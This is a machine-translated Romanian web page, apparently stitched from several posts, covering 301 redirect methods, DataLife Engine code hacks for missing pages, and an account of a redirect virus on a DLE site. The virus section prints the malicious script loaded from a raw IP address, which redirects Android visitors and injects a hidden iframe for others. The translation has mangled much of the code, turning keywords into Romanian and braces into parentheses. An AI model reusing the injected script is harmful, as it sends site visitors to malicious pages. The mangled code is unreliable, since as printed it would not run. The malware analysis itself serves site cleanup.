Virus neobișnuit de redirecționare DLE. Virus neobișnuit de redirecționare în DLE Redirecționare de la link-uri cu caractere suplimentare sau terminații incorecte către adresele corecte

Starea subiectului: Închis.

  • În legătură cu migrarea la DLE 8.2, trebuie să înregistrați o redirecționare de la paginile vechi la cele noi.

    În .htaccess adaug Redirect 301 /content/view/121/54/ http://www.site.ru/alan

    De exemplu, îi vom redirecționa pe cei care au intrat test către www.test.com, restul către enter.test.com (ordinea intrărilor este importantă

    Notă: pentru scopurile mele (schimbarea domeniului), prima opțiune a unei simple redirecționări 301 a fost suficientă.
    2.
    Folosind mod_rewrite (scris în fișierul .htaccess

    Problema clasică a îmbinării numelor site-urilor cu și fără www este rezolvată astfel:

    Opțiuni +FollowSymLinks
    RewriteEngine activat
    RewriteCond %(HTTP_HOST) ^yoursite\.com
    RewriteRule ^(.*)$ http://www.yoursite.com/$1 .

    Sau sintaxă alternativă:

    Opțiuni +FollowSymLinks
    RewriteEngine Pornit
    RewriteCond %(HTTP_HOST) ^domeniu\.com$
    RewriteRule ^(.*)$ http://www.domain.com/$1

    Notația înseamnă: redirecționează clientul și trimite-i un cod de stare 301 (R=301) și face ca această regulă să dureze (L).

    Redirecționarea unui domeniu vechi către unul nou:

    Opțiuni +FollowSymLinks
    RewriteEngine activat
    RewriteRule (.*) http://www.newdomain.com/$1

    De exemplu, dacă doriți ca fișierul rewrite.html să fie încărcat în loc de rewrite.htm, adăugați la .htaccess:

    RewriteEngine activat
    RewriteBase /
    RewriteRule ^rewrite\.htm$ rewrite.html

    Pentru a înlocui toate fișierele .htm cu fișiere .html:

    RewriteEngine activat
    RewriteBase /
    RewriteRule ^(.*)\.htm$ $1.html

    3.
    Redirecționare către PHP:

    Este mai bine să specificați HTTP/1.1, deoarece cele mai vechi nu acceptă găzduire partajată. Amintiți-vă că înainte ca antetul să fie apelat, nimic nu trebuie tipărit (de exemplu, ecou sau print). Prin urmare, este mai bine să puneți acest cod la începutul scriptului PHP. O versiune mai completă a unei redirecționări php cu salvarea paginii transmise și a parametrilor de apel:

    4.
    Redirecționați către ASP


    5.
    Redirecționați către ASP.NET


    private void Page_Load (expeditor obiect, System.EventArgs e)
    {
    Response.Status = "301 Mutat permanent";
    Response.AddHeader("Locație","http://www.new-url.com");
    }

    6.
    Redirecționați către ColdFusion


    7.
    Redirecționează folosind meta reîmprospătare

    Unde 0 este întârzierea redirecționării în secunde, newdomain.com este pagina către care vom redirecționa. Unele browsere mai vechi nu acceptă meta reîmprospătare cu o valoare de 0; pentru compatibilitate, o puteți seta la o valoare diferită de zero, deși, în opinia mea, acest lucru nu mai este relevant. O astfel de redirecționare nu va putea să vă lipiți site-urile împreună (cu sau fără www) și să transferați PR, deoarece este ignorată de motoarele de căutare. Returnează un cod de 200 OK, care este o pagină normală. Această tehnică este populară printre spammerii, așa că ar trebui să fie folosită numai pentru paginile care nu vor fi indexate.
    8.
    Redirecționează folosind JavaScript

    Opțiunile de redirecționare JavaScript sunt adesea implementate folosind funcția setTimeout(„funcție”, întârziere).

    De exemplu, pentru a face clic automat pe butonul „Trimite” din formularul „formular de căutare” la 0,1 secunde după încărcarea codului:

    SetTimeout("document.forms["searchform"].Submit.click()", 100);

    Puteți atribui orice acțiune butonului „Trimite”, de exemplu, deschideți o nouă adresă URL în această fereastră. Apropo, astfel de redirecționări sunt mai frecvente atunci când se organizează Dorways - browserul utilizatorului va fi redirecționat către o altă pagină, iar un robot de căutare care „nu înțelege” JavaScript va indexa această pagină, care este inaccesibilă utilizatorului. Dezvoltatorii Doorway postează text pe el, plin cu cuvinte cheie „necesare”.

    Pentru a redirecționa pur și simplu către o altă pagină, puteți introduce după una dintre opțiunile de cod JavaScript:
    * locație="http://www.newdomain.com";
    * document.location.href="http://www.newdomain.com";
    * window.location.reload("http://www.newdomain.com");
    * document.location.replace ("http://www.newdomain.com");
    În acest din urmă caz, nu se va mai putea reveni la pagina care a efectuat redirecționarea, deoarece adresa acesteia este ștearsă din istoric, ceea ce este adesea necesar. Dacă aveți nevoie de o întârziere, vă puteți înregistra location="http://www.newdomain.com"; ca o funcție și inserați-o în setTimeout ("function()", delay_in_ms); O redirecționare către JavaScrupt nu este o redirecționare 301 și nu va transfera PR-ul paginii și nu va putea asigura fuzionarea acesteia.

    Să remarcăm în plus câteva caracteristici ale redirecționărilor:

    * Metodele de redirecționare cu .htaccess funcționează numai pe serverele Linux care au Apache cu modulul Mod-Rewrite activat.
    * Utilizarea .htaccess creează încărcare suplimentară pe serverul Apache; este mai eficient să scrieți aceleași comenzi în fișierul său de configurare hpptd.conf, dar, de regulă, webmasterul nu are acces la acesta.
    * Redirecționarea 301 vă permite să economisiți trafic și să transferați paginile PR către motoarele de căutare (pentru Google cu siguranță).
    * procesul de lipire și transfer de PR durează mult timp - până la câteva luni și depinde și de motorul de căutare, așa că nu ștergeți pagina sau site-ul vechi până nu are loc transferul final.
    * unele motoare de căutare necesită setări suplimentare pentru îmbinarea site-urilor, de exemplu, pentru Yandex, trebuie să specificați suplimentar robots.txt

    Concluzie. O modalitate sigură de a redirecționa pagini vechi către altele noi sau un site vechi către o adresă nouă, păstrând în același timp pozițiile în motoarele de căutare, este să utilizați o redirecționare 301, care vă va permite și să transferați vechiul Page Rank al paginii în noua site-ul.

    Puteți citi mai multe despre mod_rewrite la:

  • Am un site web pe DataLife Engine și am decis să-i schimb profilul. Nu radical, restrângeți puțin subiectul. Pentru a face acest lucru, a trebuit să elimin mai mult de jumătate din conținutul de pe site care nu avea legătură cu acest subiect. Am început să curăț treptat paginile, înlocuindu-le conținutul cu conținut nou. Dar a trebuit totuși să schimbăm structura URL și din această cauză, traficul a apărut în panoul pentru webmasteri, iar pozițiile de căutare pe un subiect restrâns au scăzut. În plus, am observat că există link-uri către pagini șterse de pe forumuri și servicii precum otvet.mail.ru. La mutarea de pe aceste pagini, a fost returnată o eroare 404. Pe lângă acest fapt tehnic, urmează și alți factori negativi - se pierde sucul de legătură, se reduc indicatorii comportamentali și, cred, o serie de alte consecințe negative.

    Am decis să rezolv acest lucru folosind o metodă brutală - nu dând o eroare 404 pentru toate paginile șterse, ci făcând o redirecționare 301 către pagina principală. În CMS DLE, pentru a implementa acest hack, trebuie să găsiți codul în fișierul /engine/modules/show.full.php:

    elseif ( ! $news_found ) ( @ antet ("HTTP/1.0 404 Not Found") ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; )

    elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

    și înlocuiți-l cu

    // 301 redirecționează către pagina principală dacă știrile nu sunt găsite/nu există elseif(! $news_found) ( header("HTTP/1.0 301 Moved Permanently"); header("Locație: ($config["http_home_url"] )"); die("Redirecționare"); ) // 301 redirecționare către pagina principală dacă știrile nu sunt găsite/nu există

    Acum, de fiecare dată când un robot de căutare îl contactează, i se va da un mesaj că informațiile de pe această pagină au fost transferate pentru totdeauna pe pagina principală și tot sucul de link care merge către paginile de la distanță va fi redistribuit către pagina principală.

    Vizitatorii de pe paginile de la distanță vor fi pur și simplu redirecționați către pagina principală și, sperăm, vor decide apoi să folosească căutarea.

    Acum voi descrie aproximativ aceeași logică de redirecționare, dar nu pentru știri, ci pentru categorii. Deschideți fișierul /engine/engine.php și căutați codul:

    if (! $category_id ) $category_id = "nedetectat" ;

    if (!$category_id) $category_id = "nedetectat";

    cu care îl înlocuim

    if ($config [ "allow_alt_url" ] == "da" ȘI ! $category_id AND $view_template != "rss" ) ( antet ("HTTP/1.0 301 Mutat permanent") ; antet ("Locație: ($config[" http_home_url"]) " ); die ("Redirect" ) ; ) //rezolvarea problemei cu categorii care nu există

    //rezolvarea problemei cu categorii care nu există dacă ($config["allow_alt_url"] == "da" ȘI ! $category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Mutat permanent") ; header("Locație: ($config["http_home_url"])"); die("Redirecționare"); ) //rezolvarea problemei cu categorii care nu există

    Toate. Acum același lucru va funcționa și pentru categoriile DLE șterse.

    Există deja multe situații descrise pe Internet în care atacatorii au infectat un site web pe DLE (Data Life Engine) cu un virus și l-au redirecționat către alt domeniu. Acest articol va vorbi despre unul dintre aceste hack-uri de site, dar este puțin probabil să găsiți descrieri ale acestui tip de infecție - un fel de virus unic care a fost observat pentru prima dată.

    Cum a intrat virusul pe site

    Nu s-au putut obține date precise despre sursa infecției. Conform fișierelor găsite care au fost încărcate în folderul UPLOADS, nici nu s-a găsit nimic concret.

    Parola de la găzduirea sau panoul de administrare a site-ului a fost probabil furată. Nu au fost folosite conturi FTP pe site.

    Redirecționare neobișnuită

    Prezența virusului a fost raportată pentru prima dată de Yandex în bara de instrumente pentru webmasteri duminică, 16 noiembrie. Totul arăta așa:

    Căutați un virus pe site

    Pentru a găsi virusul, a fost folosit un script special Ai-bolit. Deoarece dimensiunea site-ului a depășit 1 Gigabyte, nu a fost posibilă scanarea fișierelor pentru viruși direct pe server (nu a fost suficient timp de execuție).

    După ce a descărcat arhiva site-ului pe un disc local, a fost lansată o scanare, ale cărei rezultate au fost destul de surprinzătoare - nu a fost găsit nimic suspect în fișiere, dar site-ul a fost redirecționat în continuare fie către un domeniu de conținut obscen, fie către descărcarea de software suspect.

    La accesarea site-ului de pe un telefon mobil cu sistem de operare Android, utilizatorii au fost redirecționați automat către următoarea pagină:

    Sau asta:

    Privind fiecare fișier separat, nu a fost posibil să se identifice amenințarea.

    Cum să găsiți o redirecționare cu o astfel de infecție DLE

    Din întâmplare, în șablonul main.tpl, în partea de jos a fișierului era un . Chiar în codul widget-ului de consultant online era următorul cod:

    (function())( var widget_id = 632565; _shcp =[(widget_id: widget_id)]; var lang =(navigator.language || navigator.systemLanguage || navigator.userLanguage ||"ro") .substr(0,2 ) .toLowerCase(); var url ="widget.siteheart.com/widget/sh/"+ widget_id +"/"+ lang +"/widget.js"; var hcc = document.createElement("script"); hcc . type ="text/javascript"; hcc.async =true; hcc.src =("https:"== document.location.protocol ?"https":"http") +"://"+ url; var s = document.getElementsByTagName("script"); s.parentNode.insertBefore(hcc, s.nextSibling); ))();

    Penultima linie părea suspectă, și anume, biblioteca inofensivă JQuery.ui.js a fost încărcată de la o adresă de neînțeles scrisă ca IP.

    Mergând la această adresă obținem următoarele:

    If(!getCookie("google__analytics__"))( var gate = "http://5.61.34.53/jquery/jquery.php"; var azi = data noua(), tomorrow = data noua(); tomorrow.setDate(azi .getDate() + 1); setCookie("google__analytics__", 1, tomorrow.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) fereastra. locație = poarta; else( var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 ; el.src = "http://5.61.34.53/2c24"; ) ) function setCookie (nume, valoare, expiră, cale, domeniu, securizat) ( document.cookie = nume + "=" + escape (valoare) + ((expiră) ? "; expiră=" + expiră: "") + ((cale) ? "; cale=" + cale: "") + ((domeniu) ? "; domeniu=" + domeniu: "") + ((securizat) ? "; securizat" : ""); ) funcția getCookie(nume) ( var cookie = " " + document.cookie; var căutare = " " + nume + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) ( offset = cookie.indexOf(search); if (offset != -1) ( offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) ( end = cookie.length; ) setStr = unescape(cookie. substring(offset, end)); ) ) return(setStr); )

    Această linie cu scriptul a fost cea care a provocat redirecționarea. Prin eliminarea acestuia și schimbarea parolelor de pe site și găzduire, problema a dispărut.

    Cum diferă exact acest virus de redirecționare de alte tipuri de infecție?

    Căutarea în fișiere de site folosind NotePad pentru aparițiile eval, base64 și altele este inutilă. Verificarea site-ului cu antivirusuri (toate cele cunoscute) este inutilă. Nici verificarea cu Ai-bolit nu va aduce rezultate.

    Numai în modul manual cu vizualizare independentă puteți vedea rezultatul, deoarece virusul este descărcat nu de pe site în sine, ci dintr-o sursă externă. Pentru a evita o astfel de piraterie a site-ului, nu stocați niciodată login-urile și parolele în browsere, faceți-le multisilabice și nu folosiți numele de administrator ADMIN. Ai grijă de site-urile tale pe DLE!

    Bună prieteni. În sfârșit, a venit timpul pentru partea a treia a tutorialului meu de optimizare DLE.

    Abia acum mi-am dat seama cu groază că a doua parte anterioară a ghidului a fost publicată cu mai bine de șase luni în urmă!

    Conform tradiției stabilite, vom vorbi despre, și în mod specific în această parte voi vorbi despre câteva caracteristici ale motorului și caracteristici și hack-uri mici, dar foarte utile, care nu se potriveau formatului din părțile anterioare.

    Această parte este legată și de adresele paginilor, dar spre deosebire de partea a doua, în care ne-am luptat cu duplicatele și le-am eliminat aspectul, în această parte ne vom uita la cum să scăpăm de paginile inexistente care au apărut ca urmare a ștergerii sau a unei eroare la adresa.

    Post actualizat 6 mai 2014:
    Modificările aduse motorului au fost actualizate, a fost adăugat suport pentru noile versiuni ale motorului.
    Relevant pentru următoarele versiuni DLE: 7.x, 8.x, 9.x, 10.x!

    Alte părți ale ghidului SEO:
    Partea 1, Optimizarea titlurilor de titlu -
    Partea 2, Combaterea conținutului duplicat -
    Partea 4, Remediere pentru versiunile DLE 9.3, 9.4, 9.5, 9.6 -

    Redirecționează de la paginile de paginare inexistente către cele corecte și existente

    Trucul a fost inventat literalmente astăzi, când am găsit o mulțime de erori 404 pe unul dintre site-urile din panoul pentru webmasteri.

    Să luăm o situație foarte reală - din anumite motive ați decis să schimbați numărul de știri afișate pe pagina principală sau pe paginile categoriei. Ce mi s-a întâmplat: reproiectarea site-ului; structura paginii s-a schimbat complet; s-a decis să se afișeze mai multe anunțuri scurte de știri pe fiecare pagină (de la 7 la 10). Rezultatul a fost următorul: multe pagini cu erori 404 au apărut în panoul webmasterului. Aritmetică simplă, pe site erau 1000 de știri, pe fiecare pagină erau afișate 7 anunțuri, așadar, doar pe pagina principală avem 1000/7=142 pagini de paginare. După modificări, au fost exact 100 de pagini, ca urmare, au dispărut pur și simplu 42 de pagini. Și dacă luăm o altă categorie, atunci sunt deja o sută sau două pagini inexistente. Este rău, urât și nu funcționează deloc.

    Deschideți fișierul /engine/modules/show.short.php și în partea de jos găsim:

    } ?>

    MAI SUS adăugăm:

    $all_pages_count = @ceil ( $count_all / $config [ "număr_știri" ] ); if ($cstart > $all_pages_count ) ( if ($all_pages_count > 1 ) ( header () ; header ( "Locație: " . $url_page . "/page/" . $all_pages_count . "/" ); die () ; ) else ( antet ("HTTP/1.1 301 Mutat permanent") ; antet ( "Locație: " . $url_page . "/" ) ; die () ; ) ) //redirecționează la ultima pagină dacă adresa URL specifică o pagină mai mare decât maximul existent

    //redirecționează către ultima pagină dacă url-ul specifică o pagină mai mare decât cea maximă existentă $all_pages_count = @ceil($count_all / $config["news_number"]); if ($cstart > $all_pages_count) ( if ($all_pages_count > 1) ( header("HTTP/1.1 301 Mutat permanent"); antet ("Locație: " . $url_page . "/page/" . $all_pages_count . "/ "); die(); ) else ( header("HTTP/1.1 301 Mutat permanent"); antet ("Locație: " . $url_page . "/"); die(); ) ) //redirecționează către ultima pagină , dacă adresa URL conține o pagină mai mare decât cea maximă existentă

    Să explic puțin codul: se verifică o condiție - dacă numărul paginii curente este mai mare decât numărul maxim de pagini de pe site (sau din categorie), atunci apare o redirecționare către ultima pagină. Dacă se solicită pagina numărul 2 și există o singură pagină, atunci are loc o redirecționare către pagina principală (sau pagina principală a categoriei).

    Un exemplu simplu: cineva solicită o pagină de la site.ru/page/435/, dar acest site are doar 268 de pagini, prin urmare, va exista o redirecționare către site.ru/page/268/.

    Redirecționează de la paginile de paginare a comentariilor inexistente către cele corecte

    Relevanță: numai versiunile DLE 8.x, 9.x. Nu este relevant pentru DLE 10.x, deoarece deja implementat în motorul în sine.

    Situația este similară cu paginarea în comentarii. Poate apărea o situație în care, de exemplu, ați fost spam în comentarii, motoarele de căutare au indexat toate paginile de comentarii, apoi ați observat acest lucru și ați șters toate comentariile. Dar paginile pe care motorul de căutare le-a indexat vor rămâne în continuare, doar că nu vor fi afișate comentarii pe ele, ci un duplicat complet al paginii principale de știri. Și acest lucru este trist, trebuie corectat!

    Deschideți fișierul /engine/classes/comments.class.php și în partea de jos găsim:

    } } ?>

    MAI SUS adăugăm:

    //redirecționează la ultima pagină de comentarii dacă adresa URL specifică o pagină mai mare decât cea maximă existentă dacă ($this->cstart > $enpages_count) ( header("HTTP/1.1 301 Mutat permanent"); header("Locație: " . $url ); die(); ) //redirecționează către ultima pagină de comentarii dacă adresa URL specifică o pagină mai mare decât cea maximă existentă

    Ei bine, acum totul este în ordine, puteți verifica.

    Redirecționați de la link-uri cu caractere suplimentare sau terminații incorecte către adresele corecte

    Relevanță: Toate versiunile de DLE. Testat pe 7.x, 8.x, 9.x, 10.x.

    Anterior, exista o soluție foarte complexă care depindea de versiunea motorului. Dar de când am scris această postare, mi-am îmbunătățit suficient abilitățile pentru a crea o soluție universală pentru toate versiunile de DLE și, în general, absolut pentru orice motor sau orice site!

    Deschideți .htaccess, care se află în rădăcină și găsiți:

    RewriteBase / RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteCond %(REQUEST_URI) ^(.*)\.html(.+) RewriteCond %(REQUEST_URI) ^(.*)\.htm$ RewriteCond %(REQUEST_URI) ^(.*)\.ht$ RewriteCond %(REQUEST_URI) ^(.*)\.h$ RewriteCond %(REQUEST_URI) ^(.*)\.$ RewriteRule ^(.*)\.(. *) $1.html

    Indiferent de tipul de CNC selectat, când faceți clic pe orice link „strâmb”, vizitatorul va ajunge acolo unde trebuia să meargă.

    Redirecționează de la secțiuni sau categorii care nu mai există către pagina principală

    Relevanță: Toate versiunile de DLE. Testat pe 7.x, 8.x, 9.x, 10.x.

    Un exemplu din viață: ați decis să schimbați structura site-ului sau pur și simplu ați șters unele categorii ca fiind inutile, prin urmare, aceste pagini vor înceta să mai existe, dar linkurile către ele pot rămâne undeva. De exemplu, pe emofani aveam cândva bloguri pentru utilizatori, disponibile la site.ru/blog/, și erau împărțite în utilizatori, ca acest site.ru/blog/user1/, site.ru/blog /user2/ etc. Au trecut mulți ani de când am demolat aceste bloguri ca fiind inutile, dar linkurile către ele și erorile rămân în panoul webmasterului.

    Această modificare ne va permite, de asemenea, să evităm apariția adreselor complete ale paginilor de știri fără o extensie la sfârșit, sau chiar adreselor de știri complete atunci când lipsește un întreg URL-ul la sfârșit. Astfel, în combinație cu punctul anterior, aceste modificări vor ajuta cu 99% la evitarea apariției adreselor incorecte și nedorite.

    Deschideți fișierul /engine/engine.php și găsiți:

    if (! $category_id ) $category_id = "nedetectat" ;

    if (!$category_id) $category_id = "nedetectat";

    ÎNLOCUIȚI-O CU:

    //rezolvarea problemei cu categorii care nu există dacă (!$category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Moved Permanently"); header("Locație: ($config["http_home_url" ] )"); die("Redirect"); ) //rezolvarea problemei cu categorii care nu există

    Redirecționați pentru publicațiile care nu au un ID către pagina principală

    Relevanță: Toate versiunile de DLE. Testat pe 7.x, 8.x, 9.x, 10.x.

    O altă poveste adevărată preluată de pe site-urile mele. În panoul webmasterului există multe pagini cu o eroare 404 precum site.ru/category/subcat/page-name.html, dar conform regulilor ar trebui să fie ca site.ru/category/subcat/123-page_name.html. Sincer, încă nu înțeleg cum și de ce a dispărut ID-ul de știri și cine s-a referit la publicații în acest fel. Nu am folosit niciodată module sau hack-uri care să îi elimine identificatorul dintr-o adresă URL, așa că dau vina pe utilizatorii care pun „în mod strâmb” link-uri în blogurile lor către site-ul meu. Ei bine, bine, acest lucru nu mai este important, dar este important să ne ocupăm de această problemă!

    Numai pentru versiunile DLE 10.x (precum și pentru 9.5, 9.6, 9.7 și 9.8)

    Noua versiune a codului, pe lângă redirecționarea adreselor „problematice” ale paginilor de știri complete, redirecționează și paginile statice inexistente sau șterse către pagina principală. Acest lucru se datorează logicii schimbate în motor. Pe de o parte, acest lucru este probabil bun, pentru că rezolvăm două probleme dintr-o singură lovitură. Pe de altă parte, inițial motorul produce eroarea obișnuită 404 - dacă sunteți mulțumit de această stare de lucruri, atunci nu faceți modificările descrise în acest paragraf.

    Deschideți fișierul /engine/modules/static.php și găsiți la sfârșit:

    @header ("HTTP/1.0 404 Nu a fost găsit"); $lang [ "static_page_err" ] = str_replace ( "(pagina)" , $name . ".html" , $lang [ "static_page_err" ] ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "static_page_err" ] );

    @header ("HTTP/1.0 404 Nu a fost găsit"); $lang["static_page_err"] = str_replace("(pagina)", $name.".html", $lang["static_page_err"]); msgbox($lang["all_err_1"], $lang["static_page_err"]);

    ÎNLOCUIȚI-O CU:

    // 301 redirecționează către pagina principală de la adresele paginilor de știri unde id-ul a dispărut, precum și antetul paginilor statice inexistente ("HTTP/1.0 301 Moved Permanently"); header("Locație: ($config["http_home_url"])"); die(„Redirecționare”); // Redirecționare 301 către pagina principală de la adresele paginilor de știri unde id-ul a dispărut, precum și pagini statice inexistente

    Soluție veche. Numai pentru versiunile DLE 7.x, 8.x, 9.0, 9.2 și 9.3

    Toate adresele care conțin .html la sfârșit și care nu conțin un ID vor fi redirecționate către pagina principală. Paginile statice existente și corecte, deși nu au nici un ID în URL, nu vor fi redirecționate, dar vor funcționa ca înainte.

    Deschideți fișierul /engine/engine.php și găsiți:

    if ($subacțiune == "" ) $subacțiune = "spectaculos" ; )

    if ($subacțiune == "") $subacțiune = "spectaculos"; )

    Adăugăm mai jos:

    if ( ( $config [ "allow_alt_url" ] == "da" ) && (strpos ($_SERVER [ "REQUEST_URI" ] , ".html" ) !== false ) && ($dle_module == "principal" ) ) ( antet ("HTTP/1.0 301 Mutat permanent" ); antet ("Locație: ($config["http_home_url"]) " ); die ("Redirecționare" ) ​​; ) // 301 redirecționare către pagina de pornire de la adresele pagini de stiri unde a disparut id

    // 301 redirecționează către pagina principală de la adresele paginilor de știri unde id-ul lipsește dacă (($config["allow_alt_url"] == "da") && (strpos($_SERVER["REQUEST_URI"], ".html ") !== false) && ($dle_module == "principal")) (header ("HTTP/1.0 301 mutat permanent"); header ("Locație: ($config["http_home_url"])"); die( „Redirecționare”); ) // 301 redirecționare către pagina principală de la adresele paginilor de știri unde lipsește id-ul

    Redirecționați pentru știri șterse sau inexistente către pagina de pornire

    Relevanță: Toate versiunile de DLE. Testat pe 7.x, 8.x, 9.x, 10.x.

    Ei bine, aceasta este o situație standard și poate apărea pe orice site. Ați șters câteva știri și, desigur, va fi afișată o eroare 404. Dacă nu sunteți mulțumit de acest lucru, și anume că este afișată o eroare 404, atunci puteți face, de exemplu, o redirecționare 301 către pagina principală a site-ului, care cu siguranță există;)

    Deschideți fișierul /engine/modules/show.full.php și găsiți:

    elseif ( ! $news_found ) ( @ antet ("HTTP/1.0 404 Not Found") ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; )

    elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

    ÎNLOCUIȚI-O CU:

    // 301 redirecționează către pagina principală dacă știrile nu sunt găsite/nu există elseif(! $news_found) ( header("HTTP/1.0 301 Moved Permanently"); header("Locație: ($config["http_home_url"] )"); die("Redirecționare"); ) // 301 redirecționare către pagina principală dacă știrile nu sunt găsite/nu există

    Acum, când mergi la o publicație inexistentă sau ștearsă, vei fi redirecționat către pagina principală a site-ului.

    În general, băieți, am o postare separată, foarte mare despre .
    Vă recomand să vă familiarizați cu el, indiferent dacă lucrați doar cu DLE sau cu alt CMS.

    Interzicem indexarea secțiunilor site-ului web folosind metaeticheta robots

    Relevanță: Toate versiunile de DLE. Testat pe 7.x, 8.x, 9.x, 10.x.

    Așadar, amintiți-vă, am publicat recent o postare despre , în care spuneam că nu este dificil să închideți paginile de la indexare folosind robots.txt, ci să le închideți folosind . Recomand cu căldură să citești această postare.

    Dacă nu te simți încrezător, recomand cu căldură să-l folosești! Cu modulul, nu veți greși nicăieri și nu va trebui să faceți nicio modificare după fiecare actualizare a motorului.

    Deschideți fișierul deja preferat /engine/engine.php, găsiți linia inutilă și ștergeți-o:

    dacă ($config["allow_rss"]) $metatags .=